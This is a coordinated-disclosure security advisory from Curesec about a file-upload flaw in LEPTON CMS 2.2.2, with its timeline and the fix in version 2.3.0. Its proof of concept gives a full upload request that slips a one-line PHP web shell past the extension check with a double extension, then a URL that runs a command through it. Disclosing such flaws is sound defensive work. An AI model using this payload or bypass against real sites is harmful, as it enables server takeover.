Lepton 2.2.2 Stable Shell Upload

`Security Advisory - Curesec Research Team  
  
1. Introduction  
  
Affected Product: LEPTON 2.2.2 stable  
Fixed in: 2.3.0  
Fixed Version Link: http://www.lepton-cms.org/posts/  
important-lepton-2.3.0-101.php  
Vendor Website: http://www.lepton-cms.org/  
Vulnerability Type: Code Execution  
Remote Exploitable: Yes  
Reported to vendor: 09/05/2016  
Disclosed to 11/10/2016  
public:  
Release mode: Coordinated Release  
CVE: n/a  
Credits Tim Coen of Curesec GmbH  
  
2. Overview  
  
Lepton is a content management system written in PHP. In version 2.2.2, it is  
vulnerable to code execution as it is possible to upload files with dangerous  
type via the media manager.  
  
3. Details  
  
Upload of file with dangerous type  
  
CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C  
  
Description: When uploading a file in the media tab, there is a client-side as  
well as a server-side extension check. The server-side check can be bypassed by  
including a valid extension before the desired extension, leading to code  
execution or XSS.  
  
Proof of Concept:  
  
POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=  
099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language:  
en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=  
8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data;  
boundary=---------------------------38397165016927337851258279296  
Content-Length: 613 -----------------------------38397165016927337851258279296  
Content-Disposition: form-data; name="action" media_upload  
-----------------------------38397165016927337851258279296 Content-Disposition:  
form-data; name="current_dir"  
-----------------------------38397165016927337851258279296 Content-Disposition:  
form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?  
php passthru($_GET['x']);  
-----------------------------38397165016927337851258279296 Content-Disposition:  
form-data; name="submit" Upload File(s)  
-----------------------------38397165016927337851258279296-- http://localhost/  
LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id  
  
4. Solution  
  
To mitigate this issue please upgrade at least to version 2.3.0:  
  
http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php  
  
Please note that a newer version might already be available.  
  
5. Report Timeline  
  
09/05/2016 Informed Vendor about Issue  
09/06/2016 Vendor requests 60 days to release fix  
10/25/2016 Vendor releases fix  
11/10/2016 Disclosed to public  
  
  
Blog Reference:  
https://www.curesec.com/blog/article/blog/Lepton-222-Code-Execution-171.html  
  
--  
blog: https://www.curesec.com/blog  
tweet: https://twitter.com/curesec  
  
Curesec GmbH  
Curesec Research Team  
Josef-Orlopp-StraAe 54  
10365 Berlin, Germany  
  
  
`